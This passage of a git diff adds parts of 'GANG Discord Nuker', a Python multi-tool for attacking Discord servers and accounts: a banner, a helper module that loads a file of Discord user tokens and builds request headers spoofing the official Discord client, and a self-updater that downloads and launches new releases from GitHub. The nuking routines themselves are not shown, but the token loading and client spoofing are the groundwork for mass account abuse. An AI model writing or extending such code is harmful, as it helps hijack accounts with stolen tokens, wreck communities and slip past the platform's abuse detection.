\ $$| $$$$| $$| $$ \__/ +| $$ /$$$$| $$$$$$$$| $$ $$ $$| $$ /$$$$ +| $$|_ $$| $$__ $$| $$ $$$$| $$|_ $$ +| $$ \ $$| $$ | $$| $$\ $$$| $$ \ $$ +| $$$$$$/| $$ | $$| $$ \ $$| $$$$$$/ + \______/ |__/ |__/|__/ \__/ \______/ + + + Github.com/TT-Tutorials +''' +System.Size(120, 30) +System.Clear() +Anime.Fade(Center.Center(gang), Colors.purple_to_blue, Colorate.Vertical, interval=0.030, enter=True) diff --git a/utilities/Settings/libarys.py b/utilities/Settings/libarys.py new file mode 100644 index 0000000..91eda60 --- /dev/null +++ b/utilities/Settings/libarys.py @@ -0,0 +1,174 @@ +# Coded / Dev / Owner: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import os +import re +import sys +import time +import emoji +import ctypes +import random +import string +import shutil +import zipfile +import datetime +import colorama +import requests +import threading +import easygui, os +from os import system +import random, string +from json import loads +from time import sleep +from json import dumps +from colorama import * +import base64, pyperclip +from typing import Union +import webbrowser, base64 +from colorama import Fore +import requests, threading +from tasksio import TaskPool +from tqdm import tqdm, trange +from websocket import WebSocket +from os.path import isfile, join +from discord.ext import commands +from colorama import Back, Fore, Style +from concurrent.futures import ThreadPoolExecutor +try: + import requests +except: + os.system("pip install requests") + import requests +try: + from requests import get +except: + os.system("pip install requests") + from requests import get +try: + import colorama +except: + os.system("pip install colorama") + import colorama +try: + import discord +except: + os.system("pip install discord") + import discord +from discord.ext import commands +try: + import pyautogui +except: + os.system("pip install pyautogui") + import pyautogui +try: + import http.client +except: + os.system('pip install python-http-client') + import http.client +try: + import json +except: + os.system('pip install json') + import json +try: + import base64 +except: + os.system('pip install base64') + import base64 +try: + import emoji as ej +except: + os.system('pip install emoji') + import emoji as ej +try: + import websocket +except: + os.system('pip install websocket') + import websocket +try: + import asyncio +except: + os.system('pip install asyncio') + import asyncio +try: + from bs4 import BeautifulSoup +except: + os.system('pip install beautifulsoup4') +try: + from webdriver_manager.chrome import ChromeDriverManager +except: + os.system('pip install webdriver-manager') + from webdriver_manager.chrome import ChromeDriverManager +try: + from PIL import Image +except: + os.system('pip install pillow') + from PIL import Image +try: + import discum +except: + os.system('pip install discum') + import discum +try: + from selenium import webdriver +except: + os.system('pip install selenium') + from selenium import webdriver + + +lock = threading.Lock() +os.system('mode 120,30') +threads = 3 + +ur = 'https://discord.com/api/v9/channels/messages' +#latest = 'https://discord.com/api/v10/channels/messages' +tokens = open('tokens.txt', 'r').read().splitlines() + +def randstr(lenn): + alpha = "abcdefghijklmnopqrstuvwxyz0123456789" + text = '' + for i in range(0, lenn): + text += alpha[random.randint(0, len(alpha) - 1)] + return text + +def mainHeader(token): + return { + "authorization": token, + "accept": "*/*", + 'accept-encoding': 'gzip, deflate, br', + "accept-language": "en-GB", + "content-length": "90", + "content-type": "application/json", + "cookie": f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + "origin": "https://discord.com", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9003 Chrome/91.0.4472.164 Electron/13.4.0 Safari/537.36", + "x-debug-options": "bugReporterEnabled", + "x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAzIiwib3NfdmVyc2lvbiI6IjEwLjAuMjI0NjMiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6InNrIiwiY2xpZW50X2J1aWxkX251bWJlciI6OTkwMTYsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9" + } + +def secondHeader(token): + return { + ':authority': 'discord.com', + ':method': 'PATCH', + ':path': '/api/v9/users/@me', + ':scheme': 'https', + 'accept': '*/*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'en-US', + 'authorization': token, + 'content-length': '124', + 'content-type': 'application/json', + 'Cookie': f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + 'origin': 'https://canary.discord.com', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-origin', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.616 Chrome/91.0.4472.164 Electron/13.4.0 Safari/537.36', + 'x-debug-options': 'bugReporterEnabled', + 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJjYW5hcnkiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC42MTYiLCJvc192ZXJzaW9uIjoiMTAuMC4yMjQ1OCIsIm9zX2FyY2giOiJ4NjQiLCJzeXN0ZW1fbG9jYWxlIjoic2siLCJjbGllbnRfYnVpbGRfbnVtYmVyIjo5ODgyMywiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0='} diff --git a/utilities/Settings/update.py b/utilities/Settings/update.py new file mode 100644 index 0000000..8fd1cdf --- /dev/null +++ b/utilities/Settings/update.py @@ -0,0 +1,93 @@ +# Coded / Dev / Owner: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import re +import sys +import shutil +import requests +from time import sleep +from colorama import Fore +from zipfile import ZipFile +from bs4 import BeautifulSoup + +from utilities.Settings.common import * + +w = Fore.WHITE +b = Fore.BLACK +g = Fore.LIGHTGREEN_EX +y = Fore.LIGHTYELLOW_EX +m = Fore.LIGHTMAGENTA_EX +c = Fore.LIGHTCYAN_EX +lr = Fore.LIGHTRED_EX +lb = Fore.LIGHTBLUE_EX +# r = Fore.RESET + +######################################### + +def search_for_updates(): + clear() + setTitle("New Update Found | ") + r = requests.get("https://github.com/TT-Tutorials/GANG-Nuker/releases/latest") + + soup = str(BeautifulSoup(r.text, 'html.parser')) + s1 = re.search('', soup) + s2 = re.search('·', soup) + result_string = soup[s1.end():s2.start()] + + if THIS_VERSION not in result_string: + Write.Print("\n\n\n /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$$ | $$| $$_____/| $$ /$ | $$ | $$ | $$| $$__ $$| $$__ $$ /$$__ $$|__ $$__/| $$_____/\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$$$| $$| $$ | $$ /$$$| $$ | $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$ | $$ | $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ $$ $$| $$$$$ | $$/$$ $$ $$ | $$ | $$| $$$$$$$/| $$ | $$| $$$$$$$$ | $$ | $$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ $$$$| $$__/ | $$$$_ $$$$ | $$ | $$| $$____/ | $$ | $$| $$__ $$ | $$ | $$__/\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$\ $$$| $$ | $$$/ \ $$$ | $$ | $$| $$ | $$ | $$| $$ | $$ | $$ | $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ \ $$| $$$$$$$$| $$/ \ $$ | $$$$$$/| $$ | $$$$$$$/| $$ | $$ | $$ | $$$$$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" |__/ \__/|________/|__/ \__/ \______/ |__/ |_______/ |__/ |__/ |__/ |________/\n", Colors.purple_to_blue, interval=0.000) + print(f'''\n\n [{lr}!{w}] GANG-Nuker [{m}{THIS_VERSION}{w}] is OUTDATED''') + soup = BeautifulSoup(requests.get("https://github.com/TT-Tutorials/GANG-Nuker/releases").text, 'html.parser') + for link in soup.find_all('a'): + if "releases/download" in str(link): + update_url = f"https://github.com/{link.get('href')}" + print(f' [\x1b[95m#\x1b[95m\x1B[37m] Would You Like To Update To The Latest Version?') + choice = input(f' [\x1b[95m#\x1b[95m\x1B[37m] (Y/N)?: ') + if choice.lower() == 'y' or choice.lower() == 'yes': + print(f"\n [{g}#{w}] Updating GANG-Nuker...") + + if os.path.basename(sys.argv[0]).endswith("exe"): + with open("GANG-Nuker.zip", 'wb')as zipfile: + zipfile.write(requests.get(update_url).content) + with ZipFile("GANG-Nuker.zip", 'r') as filezip: + filezip.extractall() + os.remove("GANG-Nuker.zip") + cwd = os.getcwd()+'\\GANG-Nuker\\' + shutil.copyfile(cwd+'Changelog.md', 'Changelog.md') + try: + shutil.copyfile(cwd+os.path.basename(sys.argv[0]), 'GANG-Nuker.exe') + except Exception: + pass + shutil.copyfile(cwd+'README.md', 'README.md') + shutil.rmtree('GANG-Nuker') + input(f" [{g}#{w}] Update Successfully Finished!", end="") + os.startfile("GANG-Nuker.exe") + os._exit(0) + + else: + new_version_source = requests.get("https://github.com/TT-Tutorials/GANG-Nuker/archive/refs/heads/master.zip") + with open("GANG-Nuker-main.zip", 'wb')as zipfile: + zipfile.write(new_version_source.content) + with ZipFile("GANG-Nuker-main.zip", 'r') as filezip: + filezip.extractall() + os.remove("GANG-Nuker-main.zip") + cwd = os.getcwd()+'\\GANG-Nuker-main' + shutil.copytree(cwd, os.getcwd(), dirs_exist_ok=True) + shutil.rmtree(cwd) + input(f" [{g}!{w}] Update Successfully Finished!") + print(f' [{g}#{w}] Press ENTER to View New Update!') + if os.path.exists(os.getcwd()+'install.bat'): + os.startfile("install.bat") + elif os.path.exists(os.getcwd()+'start.bat'): + os.startfile("start.bat") + os._exit(0) \ No newline at end of file